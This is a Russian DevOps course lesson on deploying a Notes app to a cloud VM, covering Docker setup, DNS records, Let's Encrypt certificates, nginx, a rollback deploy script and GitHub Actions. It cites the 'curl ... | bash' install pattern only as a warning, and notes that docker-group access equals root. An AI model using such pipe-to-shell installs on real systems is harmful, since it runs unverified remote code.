devops-курс Все курсы

✻ Урок 6.3 · Тема 6: Облако

Деплой «Заметок» на ВМ: домен, HTTPS, обновления по тегу

⏱ 4 ч

Зачем это нужно

Пока «Заметки» живут на твоём ноутбуке, это не сервис, а учебный макет. Настоящая работа начинается, когда у приложения есть публичный адрес, валидный сертификат (документ, по которому браузер верит, что перед ним настоящий сервер: как печать нотариуса на бумаге; без него браузер пугает красной страницей, а данные идут открытым текстом, см. урок 2.6) и выкладка новой версии (деплой, deploy: доставка новой версии программы на сервер, где она работает), которая не требует заходить на сервер руками.

На работе это делается каждую неделю: запустить сервис на облачной машине, привязать к нему имя сайта, включить https://, а потом обновлять его так, чтобы при неудаче всё вернулось назад само (откат, rollback: вернуть прошлую рабочую версию, как кнопка «отменить» в редакторе; без него сломанное обновление держит сайт лежащим, пока ты ищешь ошибку). На собеседовании просят описать именно этот путь: от git-тега до HTTPS, откат, что будет, если ВМ упадёт.

В этом уроке ты пройдёшь весь путь на ВМ из урока 6.2: поставишь Docker, привяжешь домен, получишь сертификат Let’s Encrypt (бесплатная организация, которая выдаёт сертификаты автоматически, как бесплатный нотариус с окошком без очереди), напишешь скрипт деплоя с откатом и подключишь GitHub Actions (автоматизацию на серверах GitHub: по событию, например выходу релиза, она сама запускает твои команды; урок 3.4), чтобы релиз сам выкатывался на сервер.

Шаг проекта: «Заметки» открываются по https://notes.<твой домен> (домен, то есть имя сайта вроде example.com, у регистратора, то есть компании, которая продаёт домены; привязывать его к ВМ будешь в задании 2), а публикация релиза в GitHub (GitHub: сайт, где хранится код в Git; релиз это отметка «версия готова») выкатывает новую версию на ВМ без ручных шагов. Код приложения не меняется (версия 0.4.1).

Что нужно знать

  • Урок 6.2: ВМ, сеть и диски в облаке: готовая ВМ notes-vm (виртуальная машина, «компьютер» в облаке, в который ты входишь по SSH), её публичный IP и security group (облачный файрвол: список разрешённых входящих портов).
  • Урок 4.5: Compose и PostgreSQL (PostgreSQL это база данных, где лежат заметки): compose.yml с сервисами notes и db и файл .env с паролем.
  • Урок 4.6: Compose, nginx и TLS: сервис proxy (nginx, который принимает запросы из интернета и передаёт их приложению), resolver 127.0.0.11, порты 80 и 443.
  • Урок 4.7: образы и реестр: образ ghcr.io/<github-user>/notes:<semver> (готовый «слепок» приложения, лежащий на сайте-складе ghcr.io).
  • Урок 2.3: DNS: A-запись (строка в справочнике DNS «имя = IP-адрес»), dig (команда, которая спрашивает DNS), TTL (время в секундах, сколько ответ можно помнить), resolver (сервер, который отвечает на вопросы DNS за тебя).
  • Урок 2.6: TLS: openssl s_client, цепочка сертификатов, сроки.
  • Урок 2.7: файрвол и SSH: вход по ключу, порты, ufw.
  • Урок 3.4: качество и безопасность в CI: секреты в CI (CI это автоматическая сборка и проверка кода на серверах GitHub).
  • Урок 3.5: релизы: тег v* и GitHub Release.

Картина целиком

Представь, что ты открываешь магазин.

  • Нужна вывеска, по которой тебя находят: это доменное имя notes.example.com (человеческое имя сайта вместо цифр IP). А клиенты приходят по почтовому адресу: это публичный IP ВМ. Справочник, связывающий вывеску с адресом, называется DNS.
  • На двери нужна лицензия на торговлю, которую выдаёт уважаемый орган и которую можно проверить: это сертификат для HTTPS. Орган (Let’s Encrypt) выдаёт её, только когда убедится, что магазин действительно твой.
  • Товар (новую версию приложения) привозит курьер по накладной: это скрипт deploy.sh, а накладная это тег версии. Курьер не печёт товар на месте, он привозит уже готовую и проверенную упаковку.
  • Курьер после выгрузки открывает и проверяет товар: это smoke-test (дымовая проверка). Не годится: увозит обратно, то есть откат.
  • И над дверью висит камера, за которой следит кто-то другой: это внешний мониторинг. Если у магазина обрушится потолок, камера внутри тебя не предупредит.
flowchart TD
    T["git tag v0.4.1<br>GitHub Release"] --> W["workflow deploy.yml<br>на сервере GitHub"]
    W -->|"ssh, пользователь deploy"| DS
    U["Пользователь"] -->|"DNS: notes.example.com = 203.0.113.10"| P
    subgraph VM["ВМ notes-vm"]
        P["nginx (proxy)<br>443, сертификат Let's Encrypt"] --> N["notes (приложение)"] --> D["db (PostgreSQL)"]
        DS["deploy.sh: pull образа, up -d,<br>smoke-test или откат"]
    end
    M["Внешний мониторинг"] -.->|"раз в минуту GET /healthz"| P

За урок ты разберёшь каждый блок этой схемы: что такое DNS-запись и почему изменения доходят не сразу, как Let’s Encrypt проверяет, что домен твой, почему скрипт деплоя должен быть безопасен при повторном запуске, как GitHub заходит на сервер и чем это опасно, и почему одна ВМ это не «надёжно», а «пока повезло».

Теория

Путь от тега до HTTPS: почему деплой скачивает готовый образ

Самый простой способ обновить сервис: зайти на сервер по SSH, скачать свежий код и собрать его там. Он же самый плохой. На сервере окажется «то, что собралось сегодня»: другие версии зависимостей, другое время сборки, компиляторы на боевой машине. Через месяц никто не скажет, чем именно прод отличается от кода, проверенного в CI (автоматическая сборка и проверка кода на серверах GitHub). Поэтому деплой устроен иначе: собирают один раз, а на сервер везут готовый результат.

Представь: пекарня печёт хлеб на заводе, а в магазин привозит готовые упакованные буханки. Магазин не ставит у себя печь и не замешивает тесто. Оговорка: буханку нельзя «откатить» на вчерашнюю, а образ можно: старый образ по-прежнему лежит на складе.

В уроке 4.7 ты настроил workflow image.yml: при появлении git-тега он собирает Docker-образ и кладёт его в реестр (registry, склад образов) ghcr.io под именем ghcr.io/<github-user>/notes:0.4.1. Часть после двоеточия это тег образа (tag): его «этикетка». Деплой ничего не собирает, он делает три вещи:

flowchart TD
    A["1. git tag v0.4.1 + GitHub Release<br>человек решил: выкатываем"] --> B["2. workflow deploy.yml<br>заходит на ВМ по ssh, запускает deploy.sh 0.4.1"]
    B --> C["3. deploy.sh 0.4.1: docker compose pull<br>образ с этикеткой 0.4.1"]
    C --> E["docker compose up -d<br>заменить контейнер"]
    E --> F["curl https://домен/healthz<br>проверить"]
    F --> G{"Прошло?"}
    G -->|да| H["Версия 0.4.1 работает"]
    G -->|нет| R["Вернуть прежнюю этикетку: откат"]

На ВМ работает версия 0.3.0, а ты выпускаешь 0.4.1. Ты создаёшь тег v0.4.1 в git. Заметь v в начале: так принято называть git-теги. У образа тег без буквы: 0.4.1. Поэтому в workflow есть строка VERSION="${RELEASE_TAG#v}": оператор #v отрезает от начала значения букву v. Без неё сервер попытался бы скачать образ notes:v0.4.1, которого в реестре нет, и получил бы ошибку manifest unknown (реестр не знает такой этикетки).

Отсюда правило одной версии: тег git = тег образа = переменная APP_VERSION = 0.4.1. Увидев версию в метриках или логах, ты по ней находишь ровно один коммит.

Прикинь сам: почему деплой скачивает готовый образ, а не собирает его на ВМ?

Сборка на сервере даёт другой артефакт при каждой сборке (зависимости, время), нагружает прод и требует исходников и компиляторов на нём. Готовый образ по тегу один и тот же в CI, на стенде и в проде, а откат сводится к запуску предыдущего тега.

Осторожно: Тег latest («последний») кажется удобным, но он ничего не гарантирует: сегодня это одна сборка, завтра другая, а откатиться «на прошлый latest» нельзя. Поэтому в курсе latest не используется.

Главное: деплой это скачивание готового образа с этикеткой версии и его запуск, а не сборка на ВМ; тег latest ничего не гарантирует.

Чтобы образ было куда скачивать, ВМ нужно подготовить: Docker, пользователь и права.

Подготовка ВМ: Docker из официального репозитория, пользователь deploy, права на ключи

Пустая ВМ из урока 6.2 умеет только то, что есть в образе Ubuntu. Чтобы запускать контейнеры, нужен Docker. Чтобы CI мог входить на сервер и не получал лишнего, нужен отдельный «служебный» пользователь. Оба шага можно сделать быстро и опасно (curl ... | bash, работа под root), а можно чуть дольше и надёжно. В работе принято второе.

Представь: ты нанимаешь курьера. Официальный репозиторий это как взять его через проверенную службу с документами, а не нанять первого встречного, который предложил себя на улице. Отдельный пользователь deploy это выданный ему пропуск только на склад, а не мастер-ключ от всего здания.

Установка из репозитория. Ubuntu ставит программы через apt (менеджер пакетов, «магазин приложений» командной строки). У него есть готовый набор пакетов, но версия Docker там может быть старой. Поэтому подключают репозиторий (repository, сервер с пакетами) самого Docker:

  1. Скачивается ключ Docker (GPG-ключ): им подписаны все пакеты Docker.
  2. В каталоге /etc/apt/sources.list.d/ создаётся файл, в котором сказано: «пакеты бери с download.docker.com, подпись проверяй этим ключом».
  3. apt-get update читает список пакетов нового репозитория, apt-get install docker-ce ... ставит их.

Смысл проверки подписи: если кто-то подменит пакет по дороге, подпись не совпадёт, и apt откажется его ставить. Команда curl ... | bash такой защиты не даёт: она выполняет всё, что придёт из сети.

Пользователь и группа. Docker управляется через сокет (socket, специальный файл /var/run/docker.sock, через который клиент разговаривает с демоном Docker). Доступ к этому файлу есть у root и у группы docker. Поэтому deploy добавляют в группу docker, чтобы он мог запускать контейнеры без sudo. Группы человеку выдаются при входе в систему: уже открытая сессия про новую группу не знает. Поэтому после usermod -aG docker deploy docker ps заработает только в новой SSH-сессии.

Пример: права на .ssh. Ключи входа лежат в файле ~/.ssh/authorized_keys. SSH-сервер (sshd) устроен подозрительно: если файл или каталог доступен на запись кому-то, кроме хозяина, он отказывается доверять содержимому, ведь ключи мог подменить чужой. Поэтому:

/home/deploy/.ssh                 права 700 (drwx------)  только deploy
/home/deploy/.ssh/authorized_keys права 600 (-rw-------)  только deploy

Цифры это сумма прав: 4 чтение, 2 запись, 1 выполнение. Первая цифра для хозяина, вторая для группы, третья для остальных. 700 = 4+2+1 у хозяина, ничего у остальных. 600 = 4+2 у хозяина (читать и писать), ничего у остальных. Если поставить 666 (запись всем), sshd отклонит вход с Permission denied (publickey), хотя ключ в файле правильный. Именно такой сценарий ты сломаешь и починишь в конце урока.

Прикинь сам: ты добавил deploy в группу docker, но docker ps в той же сессии всё равно пишет permission denied. Что сделать?

Выйти и зайти заново (новая SSH-сессия): группы читаются при входе. Проверить, что группа применилась, можно командой id: в списке должна быть docker.

Осторожно: «Пользователь в группе docker просто запускает контейнеры»: на самом деле он может смонтировать в контейнер корневую файловую систему сервера и читать что угодно, то есть он равен root. Это учебный компромисс, ограничивающий ущерб только тем, что ключ выдан не на весь парк серверов.

Главное: Docker ставят из официального репозитория, деплоит отдельный пользователь deploy, а права на .ssh (700 и 600) должны быть закрыты от чужих, иначе sshd отклонит ключ.

ВМ готова. Теперь опишем стек для прода так, чтобы не переписывать файл из урока 4.6.

Compose на проде: базовый файл плюс переопределение

В уроке 4.6 ты описал стек в compose.yml: приложение собиралось из исходников (build: .), а сертификат был самоподписанным. На сервере нужно другое: готовый образ из реестра по тегу, боевой конфиг nginx, настоящие сертификаты, автоперезапуск. Копировать и править весь файл под сервер значит получить два файла, которые разъезжаются. Поэтому основное описание остаётся общим, а различия выносят в отдельный маленький файл.

Представь: основное здание и пристройка: план дома один, а пристройка добавляет то, что нужно только на этом участке. Оговорка: если пристройка противоречит плану, побеждает пристройка.

docker compose умеет читать несколько файлов: compose.yml и compose.prod.yml. Они сливаются: ключи из второго файла дополняют или заменяют ключи из первого. Какие файлы читать, задаёт переменная окружения COMPOSE_FILE (через двоеточие) или флаги -f (по одному на файл). В compose.prod.yml из этого урока:

  • image: ghcr.io/<github-user>/notes:${NOTES_TAG:?нужен NOTES_TAG}: образ берётся из реестра. Запись ${ИМЯ:?сообщение} означает «подставь значение переменной, а если её нет, остановись с этим сообщением». Так нельзя случайно запустить контейнер без тега.
  • restart: unless-stopped: если контейнер упал или ВМ перезагрузили, Docker запускает его снова, кроме случая, когда ты остановил его сам.
  • volumes: !override [...]: обычно списки при слиянии складываются. Тег !override говорит «замени список целиком». Нам это нужно, чтобы самоподписанный ./deploy/tls из урока 4.6 не оставался подключённым рядом с настоящими сертификатами. Нужен Compose не ниже 2.24.
  • Тома /etc/letsencrypt и /var/www/certbot подключаются с :ro (read only, только чтение): nginx читает сертификаты, а менять их не должен, это работа certbot.

Пример: откуда берутся пароли. В репозитории пароля нет. Он рождается на сервере командой openssl rand -hex 16: 16 случайных байт в виде 32 шестнадцатеричных символов (два символа на байт). Он записывается в .env рядом с compose.yml, файлу ставят права 600 (читает только владелец). Compose сам читает .env и подставляет значения в ${POSTGRES_PASSWORD}. Тег версии (NOTES_TAG) в .env не хранится: его задаёт скрипт деплоя, чтобы версия менялась при каждой выкатке, а пароли оставались теми же.

Прикинь сам: зачем в compose.prod.yml стоит !override у списка volumes сервиса proxy?

Без него список томов из compose.yml и из compose.prod.yml сложился бы: рядом с настоящими сертификатами остался бы подключённым самоподписанный каталог ./deploy/tls и учебный конфиг nginx. !override заменяет список целиком.

Осторожно: «docker compose up -d с одним только compose.yml запустит прод». Нет: без compose.prod.yml (и без переменных COMPOSE_FILE, NOTES_TAG) запустится учебная версия из 4.6, или Compose откажется стартовать с сообщением про NOTES_TAG. Поэтому в скрипте деплоя эти переменные задаются явно.

Главное: на проде compose.yml читается вместе с compose.prod.yml: базовый файл общий, а прод-файл переопределяет только то, что отличается.

Стек описан. Теперь ему нужно имя сайта, и первый вопрос: у кого оно лежит.

Домен: кто его продаёт и где лежат его записи

Новичок думает, что домен «есть у него, значит всё работает», а потом правит запись в панели, которая ни на что не влияет. Причина в том, что у домена три разных хозяйственных роли, и они могут быть у трёх разных компаний.

Представь: номер телефона. Номер тебе продал оператор (регистратор), номер записан в общем справочнике «Кто чей» (реестр зоны, например .com или .ru), а справочник с подробностями «кто дома, кто на работе» ведёт отдельная служба, которой ты доверил свой номер (DNS-хостинг). Аналогия ломается тем, что службу справочника можно сменить за минуту, оставив номер тем же.

  1. Регистратор (registrar) продаёт тебе право пользоваться именем example.com на год и записывает тебя владельцем.
  2. В реестре регистратор указывает, чьи серверы имён (name servers, NS) отвечают за этот домен.
  3. Эти серверы хранят зону с записями (A, CNAME, TXT). Зону можно хранить у регистратора, в облачном DNS или в сторонней службе.
  4. Когда кто-то вводит notes.example.com, резолвер идёт по цепочке: реестр подсказывает серверы имён, серверы имён отдают запись A с IP.

Ты купил example.com у регистратора, но зону решил держать в облачном DNS. В панели регистратора в поле NS ты вписал серверы облака. Теперь запись notes A 203.0.113.10 надо создавать в облачной панели, а не у регистратора: регистратор эту зону больше не обслуживает, и запись, созданная там, никому не видна.

Прикинь сам: запись A добавлена у регистратора, но dig её не показывает, а NS домена указывают на облако. Почему и что делать?

Зону обслуживает облачный DNS, потому что NS указывают на него. Запись у регистратора никто не читает. Нужно создать такую же запись в облачной зоне (или вернуть NS на серверы регистратора, если зону решено держать у него).

Осторожно: «Купил домен, значит, и записи править там же». Правила такие: записи правят там, куда указывают NS. Проверить можно командой dig NS example.com +short: она покажет, чьи серверы сейчас отвечают.

Главное: регистратор продаёт имя, а записи правят там, куда указывают NS домена.

Запись добавлена. Разберём, как по ней имя превращается в IP.

DNS: как имя сайта превращается в IP-адрес

Компьютеры находят друг друга по IP-адресам (203.0.113.10), а люди запоминают имена (notes.example.com). Между ними нужен справочник. Кроме того, IP ВМ может измениться (пересоздали машину), а имя останется прежним: в справочнике поправили одну строку, и все клиенты идут по новому адресу. Подробно DNS разобран в уроке 2.3, здесь нужны две вещи: как создать запись и почему она «доезжает» не сразу.

Представь: телефонная книга: имя, напротив номер. Оговорка: книга не одна. У каждого провайдера и у каждого твоего устройства есть своя копия (кэш), и обновляются они не одновременно.

У домена есть зона (zone): набор записей о нём, которую хранит сервис DNS-хостинга (его дают регистратор домена и облачный DNS). Запись типа A (A record) связывает имя с IPv4-адресом:

notes.example.com.    300    IN    A    203.0.113.10
имя (точка в конце    TTL    класс тип  адрес
 значит «корень»)     сек.   (всегда IN)

Поля по порядку: имя; TTL (time to live, время жизни) в секундах, то есть сколько любой резолвер (программа, которая спрашивает DNS за тебя: у провайдера или в твоём ноутбуке) вправе помнить ответ, не спрашивая заново; класс IN (интернет, других ты не встретишь); тип A; адрес.

Допустим, TTL записи 86400 (сутки, частое значение по умолчанию), и в 11:59 твой провайдер спросил и запомнил IP. В 12:00 ты перенёс сервис на новую ВМ и поменял запись. Провайдер будет отдавать клиентам старый IP до 11:59 следующего дня: 86400 секунд это 24 часа. При TTL 300 то же самое заняло бы 5 минут. Поэтому за день до переезда TTL снижают до 60-300 секунд, а после переезда возвращают.

Проверка идёт с двух сторон, как в уроке 2.3: своим резолвером и публичным, например @1.1.1.1 (DNS Cloudflare). Если ответы разные, один из кэшей ещё не обновился, и нужно ждать TTL.

dig +short A notes.example.com @1.1.1.1

Разбор: dig спрашивает DNS, +short оставляет только ответ, A тип записи, @1.1.1.1 какой резолвер спросить. Вывод: одна строка с IP (203.0.113.10). Пустой вывод значит «записи нет».

Прикинь сам: ты сменил IP в A-записи с TTL 3600, а коллега всё ещё видит старый сайт. Через сколько максимум он увидит новый и что ему сделать быстрее?

Максимум через час (3600 секунд) после того, как его резолвер в последний раз спросил DNS. Быстрее: спросить другой резолвер (@1.1.1.1) или сбросить кэш на своей машине. Чтобы не ждать в следующий раз, TTL снижают заранее.

Осторожно: Запись создана не там, где живёт зона. Домен куплен у регистратора, а зона размещена в облачном DNS: править запись надо там, где зона обслуживается. Признак: запись добавлена, а dig молчит. Команда dig +short NS example.com покажет серверы, отвечающие за зону. И ещё: в панелях имя пишут относительно зоны (notes, а не notes.example.com), иначе получится notes.example.com.example.com.

Главное: запись A связывает имя с IP, а TTL это срок, сколько резолверы помнят старый ответ; перед сменой адреса TTL заранее снижают.

Имя ведёт на ВМ. Теперь нужен сертификат, чтобы работал HTTPS.

Сертификат, Let’s Encrypt и ACME: как доказать, что домен твой

HTTPS шифрует трафик и подтверждает, что ты говоришь именно с тем сервером, а не с подставным. Подтверждение делает сертификат (certificate): файл, в котором написано «этот открытый ключ принадлежит домену notes.example.com» и который подписан центром сертификации (CA, certificate authority). Браузеры заранее доверяют списку центров и по подписи проверяют сертификат (урок 2.6). Раньше сертификаты стоили денег и выпускались вручную. Let’s Encrypt это бесплатный центр сертификации, а ACME (Automatic Certificate Management Environment) протокол, по которому программа сама просит сертификат и сама его продлевает. Такая программа-клиент называется certbot.

Представь: нотариус, который заверяет копию документа: он не верит на слово, а просит паспорт. Let’s Encrypt тоже не верит, что notes.example.com твой, и просит выполнить проверку, которую может пройти только владелец. Оговорка: нотариус проверяет человека, а Let’s Encrypt проверяет только контроль над доменом, но не то, что за сайтом стоит честная компания.

Способ проверки HTTP-01 по шагам:

sequenceDiagram
    participant C as certbot на ВМ
    participant L as Let's Encrypt (CA)
    participant N as nginx на ВМ
    C->>L: 1. хочу сертификат для notes.example.com
    L->>C: 2. положи файл с токеном XYZ
    C->>N: 3. кладёт файл в /var/www/certbot/.well-known/acme-challenge/XYZ
    L->>N: 4. идёт по A-записи: http://notes.example.com/.well-known/acme-challenge/XYZ
    N->>L: файл
    L->>C: 5. содержимое совпало: домен твой, сертификат fullchain.pem

Обрати внимание на шаг 4: проверка идёт из интернета на порт 80 по адресу из A-записи. Значит, нужны сразу три вещи: DNS указывает на эту ВМ, порт 80 открыт в security group, а nginx отдаёт файл из каталога /var/www/certbot. Если сломана любая, проверка не пройдёт. Режим certbot, в котором он кладёт файл-токен в каталог, который nginx отдаёт наружу, называется webroot.

Второй способ, DNS-01: вместо файла ты создаёшь TXT-запись _acme-challenge.<домен> в DNS. Порт 80 не нужен, и можно получить wildcard-сертификат (*.example.com, сразу на все поддомены), но certbot должен уметь менять записи в твоём DNS через API. Для одной ВМ проще HTTP-01, для wildcard нужен DNS-01.

Пример: срок жизни и продление. Сертификат живёт 90 дней (Let’s Encrypt объявил, что со временем сроки станут короче, поэтому автоматика обязательна, а не «желательна»). Продлением занимается системный таймер certbot.timer: он запускает certbot renew дважды в сутки, а тот обновляет только сертификаты, до конца которых осталось меньше 30 дней. То есть продление случится примерно на 60-й день, и у тебя остаётся месяц запаса на случай сбоя.

Но есть тонкость: после продления файлы на диске новые, а работающий nginx держит в памяти старый сертификат. Его нужно попросить перечитать файлы. Это делает deploy-hook: команда, которую certbot выполняет после успешного продления (у нас nginx -s reload внутри контейнера proxy). Без него сайт продолжит отдавать старый сертификат, и через 30 дней он истечёт, хотя на диске лежит свежий.

У Let’s Encrypt есть лимиты (rate limits): например, ограничено число неудачных проверок и число сертификатов на домен за неделю. Упереться в блокировку на час или неделю легко, если отлаживаться на боевом сервере. Поэтому сначала пробуют --dry-run: тестовый прогон на отдельном тестовом сервере Let’s Encrypt, без выдачи настоящего сертификата.

Курица и яйцо. nginx с блоком listen 443 ssl не стартует, пока файла сертификата нет: он падает с ошибкой cannot load certificate. А сертификат можно получить, только если nginx отвечает на порту 80. Поэтому первый запуск двухэтапный: этап 1 только порт 80 (файл-токен и редирект), затем получаем сертификат, этап 2 добавляет блок 443.

Прикинь сам: certbot пишет Timeout during connect (likely firewall problem). Какие три места проверишь?

  1. A-запись домена указывает на этот IP (dig). 2. Security group облака пускает входящий 80/tcp из интернета. 3. Порт 80 реально слушает nginx в контейнере (sudo ss -tlnp | grep ':80'), и ufw на ВМ его не режет. Проверка снаружи, а не с самой ВМ.

Осторожно: Сертификат не «покупается один раз навсегда»: через 90 дней он истечёт, если автопродление не работает. И certbot не «включает HTTPS» сам: он только получает файлы, а nginx надо настроить на них отдельно.

Главное: Let’s Encrypt проверяет по HTTP-01 только контроль над доменом: нужны A-запись на ВМ, открытый порт 80 и nginx, отдающий каталог webroot; сертификат живёт 90 дней и должен продлеваться сам.

Сертификат есть. Теперь настроим nginx, который его использует.

nginx на входе: терминация TLS, редирект и переразрешение имён

Наружу должен смотреть один аккуратный «швейцар», а не приложение и не база. Им служит nginx в роли обратного прокси (reverse proxy): он принимает запрос из интернета, расшифровывает HTTPS (это называется терминацией TLS), а внутри Docker-сети передаёт запрос приложению обычным HTTP. Приложению не нужно ничего знать про сертификаты, а сертификат лежит только в одном месте.

Представь: швейцар в отеле: встречает гостя у входа, выясняет, к кому он, и по внутреннему телефону соединяет с номером. Оговорка: швейцар не обязан знать, что гость делает в номере, а nginx должен подсказать приложению, откуда пришёл гость (заголовки ниже).

Конфиг из этого урока состоит из двух блоков server:

  • server { listen 80; ... }: на порту 80 nginx отдаёт файл-токен по пути /.well-known/acme-challenge/, а всё остальное перенаправляет (return 301, «переехали навсегда») на https:// того же адреса.
  • server { listen 443 ssl; ... }: на порту 443 nginx использует файлы сертификата и передаёт запрос приложению http://notes:8080. Имя notes это имя сервиса в Compose: Docker-сеть знает его благодаря встроенному DNS по адресу 127.0.0.11.

Заголовки X-Forwarded-For, X-Forwarded-Proto и Host нужны, чтобы приложение знало настоящий IP клиента и то, что снаружи было https: иначе в его логах у всех клиентов будет адрес nginx. Заголовок Strict-Transport-Security (HSTS) говорит браузеру: «на этот сайт ходи только по HTTPS в течение года» (max-age=31536000 секунд это 365 дней).

Пример: зачем переменная в proxy_pass. Обычно nginx один раз при старте узнаёт IP контейнера notes и запоминает его. Ты выкатил новую версию: контейнер пересоздан, у него новый IP (был 172.18.0.3, стал 172.18.0.5), а nginx продолжает стучаться на старый. Итог: 502 Bad Gateway после каждого деплоя. Лекарство из двух строк: resolver 127.0.0.11 valid=10s; (спрашивай Docker-DNS и помни ответ 10 секунд) и set $upstream http://notes:8080; proxy_pass $upstream;. Если в proxy_pass стоит переменная, nginx переразрешает имя во время запроса, а не при старте.

Прикинь сам: после деплоя главная страница отдаёт 502, а docker compose ps показывает notes и proxy в статусе Up. Что подозревать в первую очередь?

Два кандидата: nginx хранит старый IP пересозданного контейнера (нет resolver и переменной в proxy_pass) или приложение внутри контейнера слушает не тот адрес (127.0.0.1 вместо 0.0.0.0, урок 4.2). Отличить можно по логам: docker compose logs --tail 30 proxy notes.

Осторожно: «Пересоздал контейнер, значит, адрес тот же»: нет, при пересоздании адрес меняется, а имя сервиса остаётся. Поэтому обращаться надо по имени.

Главное: nginx принимает HTTPS снаружи, перенаправляет с 80 на 443 и передаёт запросы приложению по имени сервиса, переразрешая его, потому что адрес контейнера меняется.

Вход собран. Теперь выкладка новой версии: как сделать её безопасной.

Деплой по тегу: идемпотентность, smoke-test, откат

Деплой руками (несколько команд по памяти в три часа ночи) ошибается: забыли команду, ввели не тот тег, не проверили результат. Скрипт делает всё одинаково каждый раз, а главное, умеет сам заметить, что версия не работает, и вернуть прошлую.

Представь: курьер с накладной: привёз коробку, вскрыл, проверил, что внутри то, что заказано. Если внутри мусор, он забирает коробку и возвращает прежнюю. Оговорка: курьер справится только с тем, что можно проверить за секунды. Если ошибка проявится через час, вернуть нужно будет вручную.

Три свойства хорошего скрипта деплоя.

  1. Идемпотентность (idempotent): повторный запуск с тем же тегом ничего не ломает и ничего лишнего не делает. docker compose up -d этим обладает: он пересоздаёт только те сервисы, у которых изменились образ или настройки, остальные не трогает. Запустил скрипт дважды подряд, контейнеры при втором запуске остались как были.
  2. Smoke-test (дымовая проверка, название из электроники: включили и посмотрели, не пошёл ли дым). После up -d контейнер запущен, но это не значит, что сервис работает: приложение могло упасть через секунду. Поэтому скрипт делает короткий запрос к живому адресу, например curl -fsS https://<домен>/healthz. Этот запрос проходит через DNS, TLS, nginx и приложение, то есть проверяет весь путь.
  3. Откат (rollback): проверка не прошла, скрипт запускает предыдущий тег и завершается с ошибкой (ненулевым кодом), чтобы CI покраснел и человек узнал о проблеме.

Чтобы откатываться, надо знать предыдущий тег. Скрипт хранит его в файле /opt/notes/.current-tag на самой ВМ: после каждого успешного деплоя в файл записывается новый тег.

Пример: что делает скрипт на трёх запусках. Скрипт из задания 3 начинается с set -euo pipefail: это три защиты. -e останавливает скрипт при первой ошибке, -u считает ошибкой обращение к несуществующей переменной (опечатка в имени не превратится в пустую строку), pipefail заставляет цепочку через | считаться проваленной, если упала любая её часть.

Запуск 1: deploy.sh 0.4.1  (файла .current-tag ещё нет)
  pull notes:0.4.1  -> образ скачан
  up -d             -> контейнеры созданы
  smoke-test        -> 200, успех
  .current-tag = 0.4.1     вывод: OK: запущена версия 0.4.1 (была: нет)

Запуск 2: deploy.sh 0.4.1  (файл: 0.4.1)
  pull              -> образ уже есть, скачивать нечего
  up -d             -> ничего не изменилось, контейнеры остаются
  smoke-test        -> 200, успех      вывод: OK: ... (была: 0.4.1)

Запуск 3: deploy.sh 9.9.9  (такого тега нет)
  pull notes:9.9.9  -> ошибка, set -e останавливает скрипт
  up -d не выполнялся -> работающие контейнеры не тронуты, выход с кодом 1

Смотри, что даёт порядок «сначала pull отдельной командой, потом up -d»: опечатка в теге приводит к ошибке скачивания раньше, чем что-либо остановлено, и сервис продолжает работать на старой версии.

Ещё одна деталь: smoke-test делается командой curl --resolve "домен:443:127.0.0.1" https://домен/healthz. Флаг --resolve говорит curl: «для этого имени и порта иди по адресу 127.0.0.1, а имя используй так, как написано». Так проверка идёт на самой ВМ, но с нормальным именем в TLS, и сертификат сверяется с ним. Если взять http://notes:8080, проверится только приложение, а nginx и сертификат нет.

Простой при деплое. Полностью без потери запросов на одной ВМ не получится: up -d останавливает старый контейнер и запускает новый, и несколько секунд запросы получают 502. Настоящий rolling-деплой (по одному экземпляру, пока другие обслуживают запросы) требует минимум двух экземпляров за балансировщиком. Это тема Kubernetes, см. урок 5.7.

Прикинь сам: зачем скрипту помнить предыдущий тег в файле, а не брать его из git?

Состояние сервера это не то же самое, что состояние репозитория: на ВМ мог остаться другой тег после ручного отката или неудачного деплоя. Файл .current-tag на сервере хранит то, что реально было запущено последним успешным деплоем.

Осторожно: «Контейнер в статусе Up, значит, деплой удался». Нет: Up значит «процесс запущен», а не «сервис отвечает». Второе заблуждение: откат восстановит данные. Откат возвращает код, а не данные: если новая версия успела изменить схему базы, откатить её этим скриптом нельзя (поэтому миграции делают обратно совместимыми).

Главное: скрипт деплоя сначала скачивает образ, потом заменяет контейнеры, проверяет smoke-test’ом и при провале откатывает на запомненный тег.

Скрипт есть. Остаётся запускать его по релизу, не заходя на сервер руками.

GitHub Actions по релизу: как CI попадает на сервер и почему это опасно

Хочется, чтобы «выпустил релиз в GitHub» значило «версия у пользователей», без ручного ssh. Для этого workflow (сценарий автоматизации GitHub Actions, YAML-файл в .github/workflows/) запускается на временной машине GitHub (её называют раннер, runner), заходит на твою ВМ по SSH и запускает deploy.sh. Тем самым у внешней машины появляется вход на твой сервер, и его нужно ограничить.

Представь: ты даёшь курьерской службе ключ от склада. Разумно дать ключ, который открывает только один склад и только для приёма товара, а не свой личный ключ от квартиры. Оговорка: ключ можно скопировать, поэтому его хранят в сейфе (секреты GitHub), а не пишут на дверях.

Что и где хранится:

flowchart LR
    subgraph GH["Репозиторий GitHub"]
        S1["Secrets: DEPLOY_SSH_KEY (приватный),<br>DEPLOY_KNOWN_HOSTS"]
        S2["Variables: NOTES_DOMAIN<br>Environment: production"]
    end
    subgraph VM["ВМ notes-vm"]
        A["пользователь deploy<br>~/.ssh/authorized_keys (публичная часть ключа)"]
        B["/opt/notes/deploy/vm/deploy.sh"]
    end
    GH -->|"ssh, порт 22"| VM
  • Ключ SSH это пара файлов: приватный (секрет, остаётся у GitHub) и публичный (лежит на ВМ в authorized_keys, его не жалко показывать). Приватный ключ хранится в GitHub Secrets (DEPLOY_SSH_KEY): значения секретов не видны после сохранения и маскируются в логах. Про секреты в CI см. урок 3.4.
  • Отдельный пользователь deploy и отдельная пара ключей только под деплой: не твой личный ключ и не root. Если ключ утечёт, пострадает только то, что доступно пользователю deploy.
  • known_hosts: файл с отпечатком (fingerprint) ключа самого сервера. Он защищает от подмены: при первом подключении по SSH клиент спрашивает «доверяешь этому серверу?», а в CI спросить некого. Если отпечаток не зафиксировать заранее, job примет любого, кто ответит на этот IP. Поэтому отпечаток получают командой ssh-keyscan и кладут в секрет.
  • Environment production в GitHub: именованное окружение, к которому можно привязать секреты и потребовать ручное подтверждение перед запуском job.
  • concurrency: ограничение «одновременно идёт не больше одного деплоя». Второй ждёт первого.

